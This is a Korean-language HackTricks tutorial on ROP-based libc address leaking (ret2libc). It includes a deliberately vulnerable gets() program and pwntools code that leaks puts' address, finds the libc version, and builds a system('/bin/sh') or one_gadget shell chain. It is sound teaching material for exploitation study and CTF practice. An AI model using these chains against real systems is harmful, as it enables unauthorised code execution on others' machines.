ROP์„ ์ด์šฉํ•œ libc ์ฃผ์†Œ ์œ ์ถœ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐ„๋‹จ ์š”์•ฝ

  1. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์˜คํ”„์…‹ ์ฐพ๊ธฐ
  2. POP_RDI ๊ฐ€์ ฏ, PUTS_PLT ๋ฐ MAIN ๊ฐ€์ ฏ ์ฐพ๊ธฐ
  3. ์ด์ „ ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ puts ๋˜๋Š” ๋‹ค๋ฅธ libc ํ•จ์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ณ  libc ๋ฒ„์ „ ์ฐพ๊ธฐ (๋‹ค์šด๋กœ๋“œํ•˜๊ธฐ)
  4. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ROP ๊ณ„์‚ฐ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๊ธฐ

์—ฐ์Šตํ•  ๋‹ค๋ฅธ ํŠœํ† ๋ฆฌ์–ผ ๋ฐ ๋ฐ”์ด๋„ˆ๋ฆฌ

์ด ํŠœํ† ๋ฆฌ์–ผ์€ ์ด ํŠœํ† ๋ฆฌ์–ผ์—์„œ ์ œ์•ˆํ•œ ์ฝ”๋“œ/๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
๋˜ ๋‹ค๋ฅธ ์œ ์šฉํ•œ ํŠœํ† ๋ฆฌ์–ผ: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

์ฝ”๋“œ

ํŒŒ์ผ ์ด๋ฆ„: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC ์œ ์ถœ ํ…œํ”Œ๋ฆฟ

์ต์Šคํ”Œ๋กœ์ž‡์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์ทจ์•ฝํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ๋™์ผํ•œ ๋””๋ ‰ํ† ๋ฆฌ์— ๋ฐฐ์น˜ํ•œ ํ›„ ์Šคํฌ๋ฆฝํŠธ์— ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•˜์‹ญ์‹œ์˜ค:

Leaking libc - template

1- ์˜คํ”„์…‹ ์ฐพ๊ธฐ

ํ…œํ”Œ๋ฆฟ์€ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๊ณ„์†ํ•˜๊ธฐ ์ „์— ์˜คํ”„์…‹์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ œ๊ณต๋œ ๊ฒฝ์šฐ ํ•„์š”ํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ด๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’ OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

์‹คํ–‰ python template.py ํ•˜๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์ถฉ๋Œํ•˜๋Š” GDB ์ฝ˜์†”์ด ์—ด๋ฆฝ๋‹ˆ๋‹ค. ๊ทธ GDB ์ฝ˜์†” ์•ˆ์—์„œ x/wx $rsp๋ฅผ ์‹คํ–‰ํ•˜์—ฌ RIP๋ฅผ ๋ฎ์–ด์“ธ ๋ฐ”์ดํŠธ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ python ์ฝ˜์†”์„ ์‚ฌ์šฉํ•˜์—ฌ ์˜คํ”„์…‹์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค:

from pwn import *
cyclic_find(0x6161616b)

์˜คํ”„์…‹(์ด ๊ฒฝ์šฐ 40)์„ ์ฐพ์€ ํ›„, ํ•ด๋‹น ๊ฐ’์„ ์‚ฌ์šฉํ•˜์—ฌ ํ…œํ”Œ๋ฆฟ ๋‚ด์˜ OFFSET ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.
OFFSET = "A" * 40

๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€: pattern create 1000 โ€“ ret๊นŒ์ง€ ์‹คํ–‰ โ€“ pattern seach $rsp๋ฅผ GEF์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

2- ๊ฐ€์ ฏ ์ฐพ๊ธฐ

์ด์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด์—์„œ ROP ๊ฐ€์ ฏ์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ROP ๊ฐ€์ ฏ์€ puts๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์‚ฌ์šฉ ์ค‘์ธ libc๋ฅผ ์ฐพ๊ณ , ๋‚˜์ค‘์— ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT๋Š” function puts๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
MAIN_PLT๋Š” exploit์„ ์œ„ํ•ด ํ•œ ๋ฒˆ์˜ ์ƒํ˜ธ์ž‘์šฉ ํ›„ main function์„ ๋‹ค์‹œ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (๋ฌดํ•œํ•œ exploitation์˜ ๋ผ์šด๋“œ). ๊ฐ ROP์˜ ๋์—์„œ ํ”„๋กœ๊ทธ๋žจ์„ ๋‹ค์‹œ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
POP_RDI๋Š” ํ˜ธ์ถœ๋œ ํ•จ์ˆ˜์— parameter๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด ๋‹จ๊ณ„์—์„œ๋Š” pwntools๊ฐ€ ์‹คํ–‰ ์ค‘์— ๋ชจ๋“  ๊ฒƒ์„ ์ฐพ๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ฌด๊ฒƒ๋„ ์‹คํ–‰ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

3- libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฐพ๊ธฐ

์ด์ œ ์–ด๋–ค ๋ฒ„์ „์˜ libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ์ฐพ์„ ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค. ๊ทธ๋ ‡๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” function puts์˜ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด address๋ฅผ leakํ•œ ๋‹ค์Œ, ํ•ด๋‹น ์ฃผ์†Œ์—์„œ puts ๋ฒ„์ „์ด ์žˆ๋Š” library version์„ searchํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

์ด๋ฅผ ์œ„ํ•ด ์‹คํ–‰๋œ ์ฝ”๋“œ์—์„œ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ์ค„์€:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

์ด๊ฒƒ์€ RIP๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ๊นŒ์ง€ ๋ช‡ ๋ฐ”์ดํŠธ๋ฅผ ์ „์†กํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: OFFSET.
๊ทธ๋Ÿฐ ๋‹ค์Œ, RDI ๋ ˆ์ง€์Šคํ„ฐ์— ๋‹ค์Œ ์ฃผ์†Œ(FUNC_GOT)๊ฐ€ ์ €์žฅ๋˜๋„๋ก POP_RDI ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์šฐ๋ฆฌ๊ฐ€ puts๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  PUTS_GOT์˜ ์ฃผ์†Œ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์˜ puts ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ์ „๋‹ฌํ•˜๊ณ ์ž ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
๊ทธ ํ›„, PUTS_PLT๊ฐ€ ํ˜ธ์ถœ๋  ๊ฒƒ์ด๋ฉฐ(PUTS_GOT๊ฐ€ RDI ์•ˆ์— ์žˆ์Œ) puts๋Š” PUTS_GOT ์•ˆ์˜ ๋‚ด์šฉ์„ ์ฝ๊ณ  (๋ฉ”๋ชจ๋ฆฌ์—์„œ puts ํ•จ์ˆ˜์˜ ์ฃผ์†Œ) ์ด๋ฅผ ์ถœ๋ ฅํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
๋งˆ์ง€๋ง‰์œผ๋กœ, main ํ•จ์ˆ˜๊ฐ€ ๋‹ค์‹œ ํ˜ธ์ถœ๋˜์–ด ์šฐ๋ฆฌ๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋‹ค์‹œ ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์šฐ๋ฆฌ๋Š” puts ํ•จ์ˆ˜๋ฅผ ์†์—ฌ ๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋Š” puts ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๊ฒŒ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค (์ด๋Š” libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์•ˆ์— ์žˆ์Šต๋‹ˆ๋‹ค). ์ด์ œ ๊ทธ ์ฃผ์†Œ๋ฅผ ์•Œ์•˜์œผ๋‹ˆ ์–ด๋–ค libc ๋ฒ„์ „์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ๋กœ์ปฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์•…์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์–ด๋–ค libc ๋ฒ„์ „์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ผ ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค (๋‹จ์ง€ /lib/x86_64-linux-gnu/libc.so.6์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ฐพ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค).
ํ•˜์ง€๋งŒ ์›๊ฒฉ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ๊ฒฝ์šฐ, ์—ฌ๊ธฐ์„œ ์–ด๋–ป๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ์„ค๋ช…ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค:

3.1- libc ๋ฒ„์ „ ๊ฒ€์ƒ‰ (1)

์›น ํŽ˜์ด์ง€์—์„œ ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://libc.blukat.me/
์ด ์‚ฌ์ดํŠธ๋Š” ๋ฐœ๊ฒฌ๋œ libc ๋ฒ„์ „์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ค๋‹ˆ๋‹ค.

3.2- libc ๋ฒ„์ „ ๊ฒ€์ƒ‰ (2)

๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

์ด ์ž‘์—…์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ธ๋‚ด์‹ฌ์„ ๊ฐ€์ง€์„ธ์š”.
์ด ์ž‘์—…์ด ์ž‘๋™ํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

  • Libc ์‹ฌ๋ณผ ์ด๋ฆ„: puts
  • ์œ ์ถœ๋œ libc ์ฃผ์†Œ: 0x7ff629878690

์šฐ๋ฆฌ๋Š” ์–ด๋–ค libc๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

์šฐ๋ฆฌ๋Š” 2๊ฐœ์˜ ์ผ์น˜๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค(์ฒซ ๋ฒˆ์งธ๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด ๋‘ ๋ฒˆ์งธ๋ฅผ ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค). ์ฒซ ๋ฒˆ์งธ ๊ฒƒ์„ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so์—์„œ libc๋ฅผ ์šฐ๋ฆฌ์˜ ์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

3.3- ๋ˆ„์ถœํ•  ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค

puts
printf
__libc_start_main
read
gets

4- Finding based libc address & exploiting

์ด ์‹œ์ ์—์„œ ์šฐ๋ฆฌ๋Š” ์‚ฌ์šฉ๋œ libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋กœ์ปฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์ €๋Š” ๋‹จ์ง€:/lib/x86_64-linux-gnu/libc.so.6๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ template.py์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์—์„œ libc ๋ณ€์ˆ˜๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•˜๋ฉด ๋‚˜๋จธ์ง€ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ž๋™์œผ๋กœ ๊ณ„์‚ฐ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

get_addr ํ•จ์ˆ˜ ๋‚ด์—์„œ libc์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ๊ฐ€ ๊ณ„์‚ฐ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Tip

์ตœ์ข… libc ๊ธฐ๋ณธ ์ฃผ์†Œ๋Š” 00์œผ๋กœ ๋๋‚˜์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์€ ๊ฒฝ์šฐ ์ž˜๋ชป๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์œ ์ถœํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ํ•จ์ˆ˜ system์˜ ์ฃผ์†Œ์™€ ๋ฌธ์ž์—ด _โ€œ/bin/shโ€_์˜ ์ฃผ์†Œ๋Š” libc์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ์—์„œ ๊ณ„์‚ฐ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

๋งˆ์ง€๋ง‰์œผ๋กœ, /bin/sh ์‹คํ–‰ ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ค€๋น„๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

๋งˆ์ง€๋ง‰ ROP์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.
๋งˆ์ง€๋ง‰ ROP(rop1)์€ ๋‹ค์‹œ main ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ ํ›„, ๋‹ค์‹œ overflow๋ฅผ exploitํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ทธ๋ž˜์„œ OFFSET์ด ๋‹ค์‹œ ์—ฌ๊ธฐ์— ์žˆ์Šต๋‹ˆ๋‹ค). ๊ทธ๋Ÿฐ ๋‹ค์Œ, addres โ€œ/bin/shโ€(BINSH)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” POP_RDI๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  system ํ•จ์ˆ˜(SYSTEM)๋ฅผ ํ˜ธ์ถœํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. _โ€œ/bin/shโ€_์˜ ์ฃผ์†Œ๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ „๋‹ฌ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
๋งˆ์ง€๋ง‰์œผ๋กœ, exit ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ ํ˜ธ์ถœ๋˜์–ด ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ข…๋ฃŒ๋˜๊ณ  ์–ด๋–ค ๊ฒฝ๊ณ ๋„ ์ƒ์„ฑ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด exploit๊ฐ€ /bin/sh ์…ธ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

4(2)- ONE_GADGET ์‚ฌ์šฉํ•˜๊ธฐ

system๊ณผ โ€œ/bin/shโ€ ๋Œ€์‹ ์— ONE_GADGET๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์…ธ์„ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ONE_GADGET์€ libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์—์„œ ๋‹จ ํ•˜๋‚˜์˜ ROP ์ฃผ์†Œ๋งŒ์œผ๋กœ ์…ธ์„ ์–ป๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ช‡ ๊ฐ€์ง€ ์ œ์•ฝ์ด ์žˆ์œผ๋ฉฐ, ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ด๊ณ  ํ”ผํ•˜๊ธฐ ์‰ฌ์šด ๊ฒƒ์€ [rsp+0x30] == NULL์ž…๋‹ˆ๋‹ค. RSP ๋‚ด๋ถ€์˜ ๊ฐ’์„ ์ œ์–ดํ•˜๋ฏ€๋กœ ์ œ์•ฝ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์ถ”๊ฐ€์ ์ธ NULL ๊ฐ’์„ ๋ณด๋‚ด๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

์ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๊ธฐ ์œ„ํ•œ ํ…œํ”Œ๋ฆฟ์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols[โ€˜mainโ€™] not found

โ€œmainโ€ ์‹ฌ๋ณผ์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ๋ฉ”์ธ ์ฝ”๋“œ๊ฐ€ ์–ด๋””์— ์žˆ๋Š”์ง€ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

์ฃผ์†Œ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค:

MAIN_PLT = 0x401080

Puts not found

If the binary is not using Puts you should check if it is using

sh: 1: %s%s%s%s%s%s%s%s: not found

If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

Try to ์ฃผ์†Œ โ€œ/bin/shโ€œ์—์„œ 64 ๋ฐ”์ดํŠธ๋ฅผ ๋นผ๋ณด์„ธ์š”:

BINSH = next(libc.search("/bin/sh")) - 64

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ